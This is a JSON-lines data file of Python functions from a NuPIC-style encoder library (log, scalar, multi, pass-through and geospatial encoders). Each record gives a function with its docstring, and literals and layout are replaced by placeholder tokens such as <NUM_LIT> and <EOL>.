{"signature": "def closenessScores(self, expValues, actValues, fractional=True):", "body": "<EOL>if self.encoders is None:<EOL><INDENT>err = abs(expValues[<NUM_LIT:0>] - actValues[<NUM_LIT:0>])<EOL>if fractional:<EOL><INDENT>denom = max(expValues[<NUM_LIT:0>], actValues[<NUM_LIT:0>])<EOL>if denom == <NUM_LIT:0>:<EOL><INDENT>denom = <NUM_LIT:1.0><EOL><DEDENT>closeness = <NUM_LIT:1.0> - float(err)/denom<EOL>if closeness < <NUM_LIT:0>:<EOL><INDENT>closeness = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>closeness = err<EOL><DEDENT>return numpy.array([closeness])<EOL><DEDENT>scalarIdx = <NUM_LIT:0><EOL>retVals = numpy.array([])<EOL>for (name, encoder, offset) in self.encoders:<EOL><INDENT>values = encoder.closenessScores(expValues[scalarIdx:], actValues[scalarIdx:],<EOL>fractional=fractional)<EOL>scalarIdx += len(values)<EOL>retVals = numpy.hstack((retVals, values))<EOL><DEDENT>return retVals<EOL>", "docstring": "Compute closeness scores between the expected scalar value(s) and actual\nscalar value(s). The expected scalar values are typically those obtained\nfrom the :meth:`.getScalars` method. The actual scalar values are typically\nthose returned from :meth:`.topDownCompute`.\n\nThis method returns one closeness score for each value in expValues (or\nactValues which must be the same length). The closeness score ranges from\n0 to 1.0, 1.0 being a perfect match and 0 being the worst possible match.\n\nIf this encoder is a simple, single field encoder, then it will expect\njust 1 item in each of the ``expValues`` and ``actValues`` arrays.\nMulti-encoders will expect 1 item per sub-encoder.\n\nEach encoder type can define it's own metric for closeness. For example,\na category encoder may return either 1 or 0, if the scalar matches exactly\nor not. A scalar encoder might return a percentage match, etc.\n\n:param expValues: Array of expected scalar values, typically obtained from\n                 :meth:`.getScalars`\n:param actValues: Array of actual values, typically obtained from\n                 :meth:`.topDownCompute`\n\n:return: Array of closeness scores, one per item in expValues (or\n         actValues).", "id": "f17542:c0:m24"}
{"signature": "def getDisplayWidth(self):", "body": "width = self.getWidth() + len(self.getDescription()) - <NUM_LIT:1><EOL>return width<EOL>", "docstring": "Calculate width of display for bits plus blanks between fields.\n\n:return: (int) width of display for bits plus blanks between fields", "id": "f17542:c0:m25"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "return (FieldMetaType.float, )<EOL>", "docstring": "Encoder class virtual method override", "id": "f17543:c0:m3"}
{"signature": "def _getScaledValue(self, inpt):", "body": "if inpt == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>val = inpt<EOL>if val < self.minval:<EOL><INDENT>val = self.minval<EOL><DEDENT>elif val > self.maxval:<EOL><INDENT>val = self.maxval<EOL><DEDENT>scaledVal = math.log10(val)<EOL>return scaledVal<EOL><DEDENT>", "docstring": "Convert the input, which is in normal space, into log space", "id": "f17543:c0:m4"}
{"signature": "def getBucketIndices(self, inpt):", "body": "<EOL>scaledVal = self._getScaledValue(inpt)<EOL>if scaledVal is None:<EOL><INDENT>return [None]<EOL><DEDENT>else:<EOL><INDENT>return self.encoder.getBucketIndices(scaledVal)<EOL><DEDENT>", "docstring": "See the function description in base.py", "id": "f17543:c0:m5"}
{"signature": "def encodeIntoArray(self, inpt, output):", "body": "<EOL>scaledVal = self._getScaledValue(inpt)<EOL>if scaledVal is None:<EOL><INDENT>output[<NUM_LIT:0>:] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.encoder.encodeIntoArray(scaledVal, output)<EOL>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", inpt, \"<STR_LIT>\", scaledVal, \"<STR_LIT>\", output)<EOL>print(\"<STR_LIT>\", self.decodedToStr(self.decode(output)))<EOL><DEDENT><DEDENT>", "docstring": "See the function description in base.py", "id": "f17543:c0:m6"}
{"signature": "def decode(self, encoded, parentFieldName='<STR_LIT>'):", "body": "<EOL>(fieldsDict, fieldNames) = self.encoder.decode(encoded)<EOL>if len(fieldsDict) == <NUM_LIT:0>:<EOL><INDENT>return (fieldsDict, fieldNames)<EOL><DEDENT>assert(len(fieldsDict) == <NUM_LIT:1>)<EOL>(inRanges, inDesc) = list(fieldsDict.values())[<NUM_LIT:0>]<EOL>outRanges = []<EOL>for (minV, maxV) in inRanges:<EOL><INDENT>outRanges.append((math.pow(<NUM_LIT:10>, minV),<EOL>math.pow(<NUM_LIT:10>, maxV)))<EOL><DEDENT>desc = \"<STR_LIT>\"<EOL>numRanges = len(outRanges)<EOL>for i in range(numRanges):<EOL><INDENT>if outRanges[i][<NUM_LIT:0>] != outRanges[i][<NUM_LIT:1>]:<EOL><INDENT>desc += \"<STR_LIT>\" % (outRanges[i][<NUM_LIT:0>], outRanges[i][<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>desc += \"<STR_LIT>\" % (outRanges[i][<NUM_LIT:0>])<EOL><DEDENT>if i < numRanges-<NUM_LIT:1>:<EOL><INDENT>desc += \"<STR_LIT:U+002CU+0020>\"<EOL><DEDENT><DEDENT>if parentFieldName != '<STR_LIT>':<EOL><INDENT>fieldName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>else:<EOL><INDENT>fieldName = self.name<EOL><DEDENT>return ({fieldName: (outRanges, desc)}, [fieldName])<EOL>", "docstring": "See the function description in base.py", "id": "f17543:c0:m7"}
{"signature": "def getBucketValues(self):", "body": "<EOL>if self._bucketValues is None:<EOL><INDENT>scaledValues = self.encoder.getBucketValues()<EOL>self._bucketValues = []<EOL>for scaledValue in scaledValues:<EOL><INDENT>value = math.pow(<NUM_LIT:10>, scaledValue)<EOL>self._bucketValues.append(value)<EOL><DEDENT><DEDENT>return self._bucketValues<EOL>", "docstring": "See the function description in base.py", "id": "f17543:c0:m8"}
{"signature": "def getBucketInfo(self, buckets):", "body": "scaledResult = self.encoder.getBucketInfo(buckets)[<NUM_LIT:0>]<EOL>scaledValue = scaledResult.value<EOL>value = math.pow(<NUM_LIT:10>, scaledValue)<EOL>return [EncoderResult(value=value, scalar=value,<EOL>encoding = scaledResult.encoding)]<EOL>", "docstring": "See the function description in base.py", "id": "f17543:c0:m9"}
{"signature": "def topDownCompute(self, encoded):", "body": "scaledResult = self.encoder.topDownCompute(encoded)[<NUM_LIT:0>]<EOL>scaledValue = scaledResult.value<EOL>value = math.pow(<NUM_LIT:10>, scaledValue)<EOL>return EncoderResult(value=value, scalar=value,<EOL>encoding = scaledResult.encoding)<EOL>", "docstring": "See the function description in base.py", "id": "f17543:c0:m10"}
{"signature": "def closenessScores(self, expValues, actValues, fractional=True):", "body": "<EOL>if expValues[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>expValue = math.log10(expValues[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>expValue = self.minScaledValue<EOL><DEDENT>if actValues  [<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>actValue = math.log10(actValues[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>actValue = self.minScaledValue<EOL><DEDENT>if fractional:<EOL><INDENT>err = abs(expValue - actValue)<EOL>pctErr = err / (self.maxScaledValue - self.minScaledValue)<EOL>pctErr = min(<NUM_LIT:1.0>, pctErr)<EOL>closeness = <NUM_LIT:1.0> - pctErr<EOL><DEDENT>else:<EOL><INDENT>err = abs(expValue - actValue)<EOL>closeness = err<EOL><DEDENT>return numpy.array([closeness])<EOL>", "docstring": "See the function description in base.py", "id": "f17543:c0:m11"}
{"signature": "def addEncoder(self, name, encoder):", "body": "self.encoders.append((name, encoder, self.width))<EOL>for d in encoder.getDescription():<EOL><INDENT>self.description.append((d[<NUM_LIT:0>], d[<NUM_LIT:1>] + self.width))<EOL><DEDENT>self.width += encoder.getWidth()<EOL>", "docstring": "Adds one encoder.\n\n:param name: (string) name of encoder, should be unique\n:param encoder: (:class:`.Encoder`) the encoder to add", "id": "f17544:c0:m2"}
{"signature": "def getWidth(self):", "body": "return self.width<EOL>", "docstring": "Represents the sum of the widths of each fields encoding.", "id": "f17544:c0:m5"}
{"signature": "def addMultipleEncoders(self, fieldEncodings):", "body": "<EOL>encoderList = sorted(fieldEncodings.items())<EOL>for key, fieldParams in encoderList:<EOL><INDENT>if '<STR_LIT::>' not in key and fieldParams is not None:<EOL><INDENT>fieldParams = fieldParams.copy()<EOL>fieldName   = fieldParams.pop('<STR_LIT>')<EOL>encoderName = fieldParams.pop('<STR_LIT:type>')<EOL>try:<EOL><INDENT>self.addEncoder(fieldName, eval(encoderName)(**fieldParams))<EOL><DEDENT>except TypeError as e:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %  (encoderName, fieldParams)))<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>", "docstring": ":param fieldEncodings: dict of dicts, mapping field names to the field\n       params dict.\n\n       Each field params dict has the following keys:\n\n       1. ``fieldname``: data field name\n       2. ``type`` an encoder type\n       3. All other keys are encoder parameters\n\nFor example,\n\n.. code-block:: python\n\n  fieldEncodings={\n      'dateTime': dict(fieldname='dateTime', type='DateEncoder',\n                       timeOfDay=(5,5)),\n      'attendeeCount': dict(fieldname='attendeeCount', type='ScalarEncoder',\n                            name='attendeeCount', minval=0, maxval=250,\n                            clipInput=True, w=5, resolution=10),\n      'consumption': dict(fieldname='consumption',type='ScalarEncoder',\n                          name='consumption', minval=0,maxval=110,\n                          clipInput=True, w=5, resolution=5),\n  }\n\nwould yield a vector with a part encoded by the :class:`.DateEncoder`, and\nto parts seperately taken care of by the :class:`.ScalarEncoder` with the\nspecified parameters. The three seperate encodings are then merged together\nto the final vector, in such a way that they are always at the same location\nwithin the vector.", "id": "f17544:c0:m9"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "return (FieldMetaType.string,)<EOL>", "docstring": "[Encoder class virtual method override]", "id": "f17546:c0:m1"}
{"signature": "def getScalars(self, input):", "body": "return numpy.array([<NUM_LIT:0>])<EOL>", "docstring": "See method description in base.py", "id": "f17546:c0:m4"}
{"signature": "def getBucketIndices(self, input):", "body": "return [<NUM_LIT:0>]<EOL>", "docstring": "See method description in base.py", "id": "f17546:c0:m5"}
{"signature": "def encodeIntoArray(self, inputVal, outputVal):", "body": "if len(inputVal) != len(outputVal):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (<EOL>len(inputVal), len(outputVal)))<EOL><DEDENT>if self.w is not None and sum(inputVal) != self.w:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (<EOL>sum(inputVal), self.w))<EOL><DEDENT>outputVal[:] = inputVal[:]<EOL>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", inputVal, \"<STR_LIT>\", outputVal)<EOL>print(\"<STR_LIT>\", self.decodedToStr(self.decode(outputVal)))<EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17546:c0:m6"}
{"signature": "def decode(self, encoded, parentFieldName=\"<STR_LIT>\"):", "body": "if parentFieldName != \"<STR_LIT>\":<EOL><INDENT>fieldName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>else:<EOL><INDENT>fieldName = self.name<EOL><DEDENT>return ({fieldName: ([[<NUM_LIT:0>, <NUM_LIT:0>]], \"<STR_LIT:input>\")}, [fieldName])<EOL>", "docstring": "See the function description in base.py", "id": "f17546:c0:m7"}
{"signature": "def getBucketInfo(self, buckets):", "body": "return [EncoderResult(value=<NUM_LIT:0>, scalar=<NUM_LIT:0>, encoding=numpy.zeros(self.n))]<EOL>", "docstring": "See the function description in base.py", "id": "f17546:c0:m8"}
{"signature": "def topDownCompute(self, encoded):", "body": "return EncoderResult(value=<NUM_LIT:0>, scalar=<NUM_LIT:0>,<EOL>encoding=numpy.zeros(self.n))<EOL>", "docstring": "See the function description in base.py", "id": "f17546:c0:m9"}
{"signature": "def closenessScores(self, expValues, actValues, **kwargs):", "body": "ratio = <NUM_LIT:1.0><EOL>esum = int(expValues.sum())<EOL>asum = int(actValues.sum())<EOL>if asum > esum:<EOL><INDENT>diff = asum - esum<EOL>if diff < esum:<EOL><INDENT>ratio = <NUM_LIT:1> - diff/float(esum)<EOL><DEDENT>else:<EOL><INDENT>ratio = <NUM_LIT:1>/float(diff)<EOL><DEDENT><DEDENT>olap = expValues & actValues<EOL>osum = int(olap.sum())<EOL>if esum == <NUM_LIT:0>:<EOL><INDENT>r = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>r = osum/float(esum)<EOL><DEDENT>r = r * ratio<EOL>return numpy.array([r])<EOL>", "docstring": "Does a bitwise compare of the two bitmaps and returns a fractonal\nvalue between 0 and 1 of how similar they are.\n\n- ``1`` => identical\n- ``0`` => no overlaping bits\n\n``kwargs`` will have the keyword \"fractional\", which is assumed by this\nencoder.", "id": "f17546:c0:m10"}
{"signature": "def getDescription(self):", "body": "return [('<STR_LIT>', <NUM_LIT:0>), ('<STR_LIT>', <NUM_LIT:1>), ('<STR_LIT>', <NUM_LIT:2>), ('<STR_LIT>', <NUM_LIT:3>)]<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.", "id": "f17547:c0:m1"}
{"signature": "def getScalars(self, inputData):", "body": "return numpy.array([<NUM_LIT:0>] * len(self.getDescription()))<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.", "id": "f17547:c0:m2"}
{"signature": "def encodeIntoArray(self, inputData, output):", "body": "altitude = None<EOL>if len(inputData) == <NUM_LIT:4>:<EOL><INDENT>(speed, longitude, latitude, altitude) = inputData<EOL><DEDENT>else:<EOL><INDENT>(speed, longitude, latitude) = inputData<EOL><DEDENT>coordinate = self.coordinateForPosition(longitude, latitude, altitude)<EOL>radius = self.radiusForSpeed(speed)<EOL>super(GeospatialCoordinateEncoder, self).encodeIntoArray(<EOL>(coordinate, radius), output)<EOL>", "docstring": "See `nupic.encoders.base.Encoder` for more information.\n\n:param: inputData (tuple) Contains speed (float), longitude (float),\n                         latitude (float), altitude (float)\n:param: output (numpy.array) Stores encoded SDR in this numpy array", "id": "f17547:c0:m3"}
{"signature": "def coordinateForPosition(self, longitude, latitude, altitude=None):", "body": "coords = PROJ(longitude, latitude)<EOL>if altitude is not None:<EOL><INDENT>coords = transform(PROJ, geocentric, coords[<NUM_LIT:0>], coords[<NUM_LIT:1>], altitude)<EOL><DEDENT>coordinate = numpy.array(coords)<EOL>coordinate = coordinate / self.scale<EOL>return coordinate.astype(int)<EOL>", "docstring": "Returns coordinate for given GPS position.\n\n:param: longitude (float) Longitude of position\n:param: latitude (float) Latitude of position\n:param: altitude (float) Altitude of position\n:returns: (numpy.array) Coordinate that the given GPS position\n                      maps to", "id": "f17547:c0:m4"}
{"signature": "def radiusForSpeed(self, speed):", "body": "overlap = <NUM_LIT><EOL>coordinatesPerTimestep = speed * self.timestep / self.scale<EOL>radius = int(round(float(coordinatesPerTimestep) / <NUM_LIT:2> * overlap))<EOL>minRadius = int(math.ceil((math.sqrt(self.w) - <NUM_LIT:1>) / <NUM_LIT:2>))<EOL>return max(radius, minRadius)<EOL>", "docstring": "Returns radius for given speed.\n\nTries to get the encodings of consecutive readings to be\nadjacent with some overlap.\n\n:param: speed (float) Speed (in meters per second)\n:returns: (int) Radius for given speed", "id": "f17547:c0:m5"}
{"signature": "def _initEncoder(self, w, minval, maxval, n, radius, resolution):", "body": "if n != <NUM_LIT:0>:<EOL><INDENT>if (radius !=<NUM_LIT:0> or resolution != <NUM_LIT:0>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>assert n > w<EOL>self.n = n<EOL>if (minval is not None and maxval is not None):<EOL><INDENT>if not self.periodic:<EOL><INDENT>self.resolution = float(self.rangeInternal) / (self.n - self.w)<EOL><DEDENT>else:<EOL><INDENT>self.resolution = float(self.rangeInternal) / (self.n)<EOL><DEDENT>self.radius = self.w * self.resolution<EOL>if self.periodic:<EOL><INDENT>self.range = self.rangeInternal<EOL><DEDENT>else:<EOL><INDENT>self.range = self.rangeInternal + self.resolution<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if radius != <NUM_LIT:0>:<EOL><INDENT>if (resolution != <NUM_LIT:0>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.radius = radius<EOL>self.resolution = float(self.radius) / w<EOL><DEDENT>elif resolution != <NUM_LIT:0>:<EOL><INDENT>self.resolution = float(resolution)<EOL>self.radius = self.resolution * self.w<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if (minval is not None and maxval is not None):<EOL><INDENT>if self.periodic:<EOL><INDENT>self.range = self.rangeInternal<EOL><DEDENT>else:<EOL><INDENT>self.range = self.rangeInternal + self.resolution<EOL><DEDENT>nfloat = self.w * (self.range / self.radius) + <NUM_LIT:2> * self.padding<EOL>self.n = int(math.ceil(nfloat))<EOL><DEDENT><DEDENT>", "docstring": "(helper function)  There are three different ways of thinking about the representation.\n         Handle each case here.", "id": "f17548:c0:m1"}
{"signature": "def _checkReasonableSettings(self):", "body": "if self.w < <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % self.w)<EOL><DEDENT>", "docstring": "(helper function) check if the settings are reasonable for SP to work", "id": "f17548:c0:m2"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "return (FieldMetaType.float, )<EOL>", "docstring": "[Encoder class virtual method override]", "id": "f17548:c0:m3"}
{"signature": "def _getFirstOnBit(self, input):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return [None]<EOL><DEDENT>else:<EOL><INDENT>if input < self.minval:<EOL><INDENT>if self.clipInput and not self.periodic:<EOL><INDENT>if self.verbosity > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (self.name, input,<EOL>self.minval))<EOL><DEDENT>input = self.minval<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' %<EOL>(str(input), str(self.minval), str(self.maxval)))<EOL><DEDENT><DEDENT>if self.periodic:<EOL><INDENT>if input >= self.maxval:<EOL><INDENT>raise Exception('<STR_LIT>' %<EOL>(str(input), str(self.minval), str(self.maxval)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if input > self.maxval:<EOL><INDENT>if self.clipInput:<EOL><INDENT>if self.verbosity > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (self.name, input,<EOL>self.maxval))<EOL><DEDENT>input = self.maxval<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' %<EOL>(str(input), str(self.minval), str(self.maxval)))<EOL><DEDENT><DEDENT><DEDENT>if self.periodic:<EOL><INDENT>centerbin = int((input - self.minval) * self.nInternal / self.range)+ self.padding<EOL><DEDENT>else:<EOL><INDENT>centerbin = int(((input - self.minval) + self.resolution/<NUM_LIT:2>)/ self.resolution ) + self.padding<EOL><DEDENT>minbin = centerbin - self.halfwidth<EOL>return [minbin]<EOL><DEDENT>", "docstring": "Return the bit offset of the first bit to be set in the encoder output.\n        For periodic encoders, this can be a negative number when the encoded output\n        wraps around.", "id": "f17548:c0:m7"}
{"signature": "def getBucketIndices(self, input):", "body": "if type(input) is float and math.isnan(input):<EOL><INDENT>input = SENTINEL_VALUE_FOR_MISSING_DATA<EOL><DEDENT>if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return [None]<EOL><DEDENT>minbin = self._getFirstOnBit(input)[<NUM_LIT:0>]<EOL>if self.periodic:<EOL><INDENT>bucketIdx = minbin + self.halfwidth<EOL>if bucketIdx < <NUM_LIT:0>:<EOL><INDENT>bucketIdx += self.n<EOL><DEDENT><DEDENT>else:<EOL><INDENT>bucketIdx = minbin<EOL><DEDENT>return [bucketIdx]<EOL>", "docstring": "See method description in base.py", "id": "f17548:c0:m8"}
{"signature": "def encodeIntoArray(self, input, output, learn=True):", "body": "if input is not None and not isinstance(input, numbers.Number):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\" % type(input))<EOL><DEDENT>if type(input) is float and math.isnan(input):<EOL><INDENT>input = SENTINEL_VALUE_FOR_MISSING_DATA<EOL><DEDENT>bucketIdx = self._getFirstOnBit(input)[<NUM_LIT:0>]<EOL>if bucketIdx is None:<EOL><INDENT>output[<NUM_LIT:0>:self.n] = <NUM_LIT:0>  <EOL><DEDENT>else:<EOL><INDENT>output[:self.n] = <NUM_LIT:0><EOL>minbin = bucketIdx<EOL>maxbin = minbin + <NUM_LIT:2>*self.halfwidth<EOL>if self.periodic:<EOL><INDENT>if maxbin >= self.n:<EOL><INDENT>bottombins = maxbin - self.n + <NUM_LIT:1><EOL>output[:bottombins] = <NUM_LIT:1><EOL>maxbin = self.n - <NUM_LIT:1><EOL><DEDENT>if minbin < <NUM_LIT:0>:<EOL><INDENT>topbins = -minbin<EOL>output[self.n - topbins:self.n] = <NUM_LIT:1><EOL>minbin = <NUM_LIT:0><EOL><DEDENT><DEDENT>assert minbin >= <NUM_LIT:0><EOL>assert maxbin < self.n<EOL>output[minbin:maxbin + <NUM_LIT:1>] = <NUM_LIT:1><EOL><DEDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print()<EOL>print(\"<STR_LIT>\", input)<EOL>print(\"<STR_LIT>\", self.minval, \"<STR_LIT:->\", self.maxval)<EOL>print(\"<STR_LIT>\", self.n, \"<STR_LIT>\", self.w, \"<STR_LIT>\", self.resolution,\"<STR_LIT>\", self.radius, \"<STR_LIT>\", self.periodic)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>self.pprint(output)<EOL>print(\"<STR_LIT>\", self.decodedToStr(self.decode(output)))<EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17548:c0:m9"}
{"signature": "def decode(self, encoded, parentFieldName='<STR_LIT>'):", "body": "<EOL>tmpOutput = numpy.array(encoded[:self.n] > <NUM_LIT:0>).astype(encoded.dtype)<EOL>if not tmpOutput.any():<EOL><INDENT>return (dict(), [])<EOL><DEDENT>maxZerosInARow = self.halfwidth<EOL>for i in range(maxZerosInARow):<EOL><INDENT>searchStr = numpy.ones(i + <NUM_LIT:3>, dtype=encoded.dtype)<EOL>searchStr[<NUM_LIT:1>:-<NUM_LIT:1>] = <NUM_LIT:0><EOL>subLen = len(searchStr)<EOL>if self.periodic:<EOL><INDENT>for j in range(self.n):<EOL><INDENT>outputIndices = numpy.arange(j, j + subLen)<EOL>outputIndices %= self.n<EOL>if numpy.array_equal(searchStr, tmpOutput[outputIndices]):<EOL><INDENT>tmpOutput[outputIndices] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for j in range(self.n - subLen + <NUM_LIT:1>):<EOL><INDENT>if numpy.array_equal(searchStr, tmpOutput[j:j + subLen]):<EOL><INDENT>tmpOutput[j:j + subLen] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", encoded[:self.n])<EOL>print(\"<STR_LIT>\", tmpOutput)<EOL><DEDENT>nz = tmpOutput.nonzero()[<NUM_LIT:0>]<EOL>runs = []     <EOL>run = [nz[<NUM_LIT:0>], <NUM_LIT:1>]<EOL>i = <NUM_LIT:1><EOL>while (i < len(nz)):<EOL><INDENT>if nz[i] == run[<NUM_LIT:0>] + run[<NUM_LIT:1>]:<EOL><INDENT>run[<NUM_LIT:1>] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>runs.append(run)<EOL>run = [nz[i], <NUM_LIT:1>]<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>runs.append(run)<EOL>if self.periodic and len(runs) > <NUM_LIT:1>:<EOL><INDENT>if runs[<NUM_LIT:0>][<NUM_LIT:0>] == <NUM_LIT:0> and runs[-<NUM_LIT:1>][<NUM_LIT:0>] + runs[-<NUM_LIT:1>][<NUM_LIT:1>] == self.n:<EOL><INDENT>runs[-<NUM_LIT:1>][<NUM_LIT:1>] += runs[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>runs = runs[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>ranges = []<EOL>for run in runs:<EOL><INDENT>(start, runLen) = run<EOL>if runLen <= self.w:<EOL><INDENT>left = right = start + runLen / <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>left = start + self.halfwidth<EOL>right = start + runLen - <NUM_LIT:1> - self.halfwidth<EOL><DEDENT>if not self.periodic:<EOL><INDENT>inMin = (left - self.padding) * self.resolution + self.minval<EOL>inMax = (right - self.padding) * self.resolution + self.minval<EOL><DEDENT>else:<EOL><INDENT>inMin = (left - self.padding) * self.range / self.nInternal + self.minval<EOL>inMax = (right - self.padding) * self.range / self.nInternal + self.minval<EOL><DEDENT>if self.periodic:<EOL><INDENT>if inMin >= self.maxval:<EOL><INDENT>inMin -= self.range<EOL>inMax -= self.range<EOL><DEDENT><DEDENT>if inMin < self.minval:<EOL><INDENT>inMin = self.minval<EOL><DEDENT>if inMax < self.minval:<EOL><INDENT>inMax = self.minval<EOL><DEDENT>if self.periodic and inMax >= self.maxval:<EOL><INDENT>ranges.append([inMin, self.maxval])<EOL>ranges.append([self.minval, inMax - self.range])<EOL><DEDENT>else:<EOL><INDENT>if inMax > self.maxval:<EOL><INDENT>inMax = self.maxval<EOL><DEDENT>if inMin > self.maxval:<EOL><INDENT>inMin = self.maxval<EOL><DEDENT>ranges.append([inMin, inMax])<EOL><DEDENT><DEDENT>desc = self._generateRangeDescription(ranges)<EOL>if parentFieldName != '<STR_LIT>':<EOL><INDENT>fieldName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>else:<EOL><INDENT>fieldName = self.name<EOL><DEDENT>return ({fieldName: (ranges, desc)}, [fieldName])<EOL>", "docstring": "See the function description in base.py", "id": "f17548:c0:m10"}
{"signature": "def _generateRangeDescription(self, ranges):", "body": "desc = \"<STR_LIT>\"<EOL>numRanges = len(ranges)<EOL>for i in range(numRanges):<EOL><INDENT>if ranges[i][<NUM_LIT:0>] != ranges[i][<NUM_LIT:1>]:<EOL><INDENT>desc += \"<STR_LIT>\" % (ranges[i][<NUM_LIT:0>], ranges[i][<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>desc += \"<STR_LIT>\" % (ranges[i][<NUM_LIT:0>])<EOL><DEDENT>if i < numRanges - <NUM_LIT:1>:<EOL><INDENT>desc += \"<STR_LIT:U+002CU+0020>\"<EOL><DEDENT><DEDENT>return desc<EOL>", "docstring": "generate description from a text description of the ranges", "id": "f17548:c0:m11"}
{"signature": "def _getTopDownMapping(self):", "body": "<EOL>if self._topDownMappingM is None:<EOL><INDENT>if self.periodic:<EOL><INDENT>self._topDownValues = numpy.arange(self.minval + self.resolution / <NUM_LIT>,<EOL>self.maxval,<EOL>self.resolution)<EOL><DEDENT>else:<EOL><INDENT>self._topDownValues = numpy.arange(self.minval,<EOL>self.maxval + self.resolution / <NUM_LIT>,<EOL>self.resolution)<EOL><DEDENT>numCategories = len(self._topDownValues)<EOL>self._topDownMappingM = SM32(numCategories, self.n)<EOL>outputSpace = numpy.zeros(self.n, dtype=GetNTAReal())<EOL>for i in range(numCategories):<EOL><INDENT>value = self._topDownValues[i]<EOL>value = max(value, self.minval)<EOL>value = min(value, self.maxval)<EOL>self.encodeIntoArray(value, outputSpace, learn=False)<EOL>self._topDownMappingM.setRowFromDense(i, outputSpace)<EOL><DEDENT><DEDENT>return self._topDownMappingM<EOL>", "docstring": "Return the interal _topDownMappingM matrix used for handling the\n        bucketInfo() and topDownCompute() methods. This is a matrix, one row per\n        category (bucket) where each row contains the encoded output for that\n        category.", "id": "f17548:c0:m12"}
{"signature": "def getBucketValues(self):", "body": "<EOL>if self._bucketValues is None:<EOL><INDENT>topDownMappingM = self._getTopDownMapping()<EOL>numBuckets = topDownMappingM.nRows()<EOL>self._bucketValues = []<EOL>for bucketIdx in range(numBuckets):<EOL><INDENT>self._bucketValues.append(self.getBucketInfo([bucketIdx])[<NUM_LIT:0>].value)<EOL><DEDENT><DEDENT>return self._bucketValues<EOL>", "docstring": "See the function description in base.py", "id": "f17548:c0:m13"}
{"signature": "def getBucketInfo(self, buckets):", "body": "<EOL>topDownMappingM = self._getTopDownMapping()<EOL>category = buckets[<NUM_LIT:0>]<EOL>encoding = self._topDownMappingM.getRow(category)<EOL>if self.periodic:<EOL><INDENT>inputVal = (self.minval + (self.resolution / <NUM_LIT>) +<EOL>(category * self.resolution))<EOL><DEDENT>else:<EOL><INDENT>inputVal = self.minval + (category * self.resolution)<EOL><DEDENT>return [EncoderResult(value=inputVal, scalar=inputVal, encoding=encoding)]<EOL>", "docstring": "See the function description in base.py", "id": "f17548:c0:m14"}
{"signature": "def topDownCompute(self, encoded):", "body": "<EOL>topDownMappingM = self._getTopDownMapping()<EOL>category = topDownMappingM.rightVecProd(encoded).argmax()<EOL>return self.getBucketInfo([category])<EOL>", "docstring": "See the function description in base.py", "id": "f17548:c0:m15"}
